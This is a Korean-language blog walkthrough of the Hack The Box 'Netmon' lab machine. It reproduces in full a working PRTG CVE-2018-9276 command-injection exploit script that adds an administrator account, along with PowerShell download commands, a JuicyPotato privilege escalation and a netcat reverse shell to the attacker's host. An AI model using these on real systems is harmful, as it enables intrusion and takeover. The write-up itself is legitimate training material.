본문 바로가기
레드팀/HackTheBox

[HTB] Netmon 풀이

by jwcs 2026. 8. 30.
728x90
반응형

https://app.hackthebox.com/machines/Netmon?sort_by=created_at&sort_type=desc

 

Hack The Box

 

app.hackthebox.com

 

Windows OS 문제다.

 

초기 침투 및 User Flag

http 서버가 운영 중이고 ftp를 사용하고 있어 접속 해봤다.

 

PRTG Network Monitor(NETMON)가 운영 중이다. 기본 계정으로는 로그인이 되지 않았다.

 

ftp는 익명 로그인에 성공했다.

03080f7d2955651700dec7407178d319

 

익명 로그인으로 user flag까지 구할 수 있었다.

 

Root Flag

위 경로에서 PRTG Configuration.old.bak을 볼 수 있다.

하지만 공식 홈페이지에서 해당 파일은 찾을 수 없었다. 따라서 해당 파일을 가져와 살펴봤다.

https://helpdesk.paessler.com/en/support/solutions/articles/76000041654-how-and-where-does-prtg-store-its-data

 

Solutions

PRTG Database Observer Release Notes Keep up-to-date with the latest release notes from Paessler PRTG Database Observer, a PRTG product extension. For more information, see the PRTG Database Observer User Manual. July 27, 2026 - PRTG Database Observer 2026

helpdesk.paessler.com

 

그 결과 패스워드 정보를 확인할 수 있었다.

PrTg@dmin2018

 

백업 파일 말고 현재 설정 파일에는 이런 패스워드 정보가 없었고, 위 패스워드로 로그인을 시도해본 결과 실패했다.

하지만 문제가 나온 시점이 2019인 점으로 보아서 2018을 2019로 바꿔서 진행했다.

 

로그인에 성공했다.

 

18.1.37.13946 버전인 것을 확인하고 해당 버전의 CVE를 찾아보았다.

cve-2018-9276 CVE가 있었고 해당 취약점이 있었고 해당 취약점으로 침투가 가능해 보였다.

 

마침 exploit-db에도 poc가 있어 이를 활용했다.

https://www.exploit-db.com/exploits/46527

 

PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution

PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution EDB-ID: 46527 CVE: 2018-9276 Date: 2019-03-11

www.exploit-db.com

#!/bin/bash
echo -e "\n\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Authenticated PRTG network Monitor remote code execution                [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Date: 11/03/2019                                                        [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Author: https://github.com/M4LV0   lorn3m4lvo@protonmail.com            [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Vendor Homepage: https://www.paessler.com/prtg                          [*] \e[00m"
echo -e "\e[00;32m[*] Version: 18.2.38                                                        [*] \e[00m"
echo -e "\e[00;32m[*] CVE: CVE-2018-9276                                                      [*] \e[00m"
echo -e "\e[00;32m[*] Reference: https://www.codewatch.org/blog/?p=453                        [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\n\e[00;32m# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.\n# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!' \e[00m\n"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"


usage()
{
echo -e '\e[00;35m EXAMPLE USAGE:\e[00m\e[00;32m ./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1" \e[00m\n'
}

create_file()
{
data="name_=create_file&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
fireone=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data" --cookie "$cookie" $url/editsettings)
# use bat file; save file to C:\Users\Public\tester.txt change accordingly
echo "$fireone"
echo -e "\e[00;32m [*] file created \e[00m"
}
ex_notify_1()
{
for i in range {0..50}; do
fireone=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}

create_user()
{
data2="name_=create_user&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+user+pentest+P3nT3st!+%2Fadd%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
firetwo=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data2" --cookie "$cookie" $url/editsettings)
# use ps1 script to execute code; adding a new user with username pentest and password P3nT3st!
echo "$firetwo"
echo -e "\e[00;32m [*] adding a new user 'pentest' with password 'P3nT3st' \e[00m"
}

ex_notify_2()
{
for i in range {0..50}; do
fire2=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}

add_user_admin()
{
data3="name_=user_admin&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+localgroup+administrators+%2Fadd+pentest%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
firethree=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data3" --cookie "$cookie" $url/editsettings)
echo "$firethree"
echo -e "\e[00;32m [*] adding a user pentest to the administrators group \e[00m"
}

ex_notify_3()
{
for i in range {0..50}; do
fire3=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
echo -e "\n\n\e[00;32m [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun! \e[00m"
}

if [[ $# -eq 0 ]] ; then
    usage
    exit 0
fi

while getopts "hu:c:" option; do
 case "${option}" in
    c) cookie=${OPTARG};;
    h) usage;;
    u) url=${OPTARG};;
    *) usage; exit;;
  esac
done

create_file
ex_notify_1
sleep 3
create_user
ex_notify_2
sleep 3
add_user_admin
ex_notify_3

 

사용법을 보면 -c 옵션을 볼 수 있는데 쿠키 값으로 보인다.

 

그럼 윈도우에 새 계정이 생성된다.

 

d2f18b912269ffd9345218a97b7afde7

짜잔

 

SYSTEM 권한 탈취

문제는 이미 풀었지만 현재 탈취한 권한은 SYSTEM 권한이 아니다. SYSTEM 권한 탈취까지 가능한 부분이 있어 계속 진행해보려 한다.

현재 권한으로 SeImpersonatePrivilege가 Enabled 되어 있다.

 

해당 권한이 무엇인지는 아래 글을 참고하자.

https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html#seimpersonateprivilege

 

Abusing Tokens - HackTricks

If you don’t know what are Windows Access Tokens read this page before continuing:

hacktricks.wiki

 

여기서 필자는 juicypotato를 사용했다.

https://github.com/ohpe/juicy-potato

 

GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation to

A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM. - ohpe/juicy-potato

github.com

 

그러기 위해선 먼저 kali 환경에서 juicy potato를 다운받고 victim이 가져갈 수 있도록 파이썬으로 서버를 열었다.

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
python3 -m http.server 80

 

victim은 아래 명령어로 해당 파일을 가져갔다.

(New-Object Net.WebClient).DownloadFile('http://10.10.14.232:80/JuicyPotato.exe','C:\Users\pentest\Desktop\JuicyPotato.exe')

 

그리고 리버스 쉘을 연결하기 위한 nc 파일을 보내야 했다.

우선 kali 환경에서 아래 명령어를 수행해서 nc 파일을 가져오고 파이썬 서버를 띄운다. 그리고 다른 cmd 창에 리버스 쉘을 받기 위해 대기한다.

locate nc64.exe
cp /home/kali/htb/babytwo/nc64.exe ~/htb/netmon/
python3 -m http.server 80

# 다른 실행 창
nc -lvnp 443

 

victim은 nc 파일을 가져가고 리버스 쉘 명령어를 실행시킨다.

(New-Object Net.WebClient).DownloadFile('http://10.10.14.232:80/nc64.exe','C:\Users\pentest\Desktop\nc64.exe')
.\JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Users\pentest\Desktop\nc64.exe 10.10.14.232 443 -e cmd" -l 1337

 

명령어를 해석하면 아래와 같다.

  • -t * : 어떤 특권을 선택할 지 정하는 옵션이다. SeImpersonate와 SeAssignPrimaryToken을 지원하는데, *을 쓸 경우 둘 다 시도해본다. 여기서는 둘 다 시도해보는 것으로 설정했다.
  • -p C:\Windows\System32\cmd.exe : -p 옵션은 어떤 프로그램을 실행 시킬 것인지 정한다. cmd 명령어를 실행시키는 것으로 설정했다.
  • -a "/c C:\Users\pentest\Desktop\nc64.exe 10.10.14.232 443 -e cmd" :  명령줄에 전달할 인자를 설정한다. 이 설정은 nc 명령을 통해 cmd를 전달하는 것이다. nc에서 -e cmd는 연결이 성립되면 그 소켓에 cmd.exe를 물려주는 것으로 리버스 쉘의 핵심이라고 볼 수 있다.
  • -l 1337 : JuicyPotato가 내부적으로 띄우는 COM Server 리스닝 포트다. 1337이 아닌 다른 값이어도 괜찮다.

Juicy Potato는 가짜 DCOM/OXID 리졸버를 -l 옵션으로 설정한 포트(현재는 1337)에 세워두고, 특권 DCOM 객체가 여기로 인증을 시도하도록 유도한다. 그 인증 과정에서 넘어오는 SYSTEM 토큰을 가로채는 것이 이 도구의 동작 방식이다.

 

짜잔

728x90
반응형

'레드팀 > HackTheBox' 카테고리의 다른 글

[HTB] Sauna 풀이  (0) 2026.09.05
[HTB] Jerry 풀이  (0) 2026.08.23
[HTB] Baby 풀이  (2) 2026.07.11
[HTB] Forest 풀이  (0) 2026.06.28
[HTB] Active 풀이  (0) 2026.06.21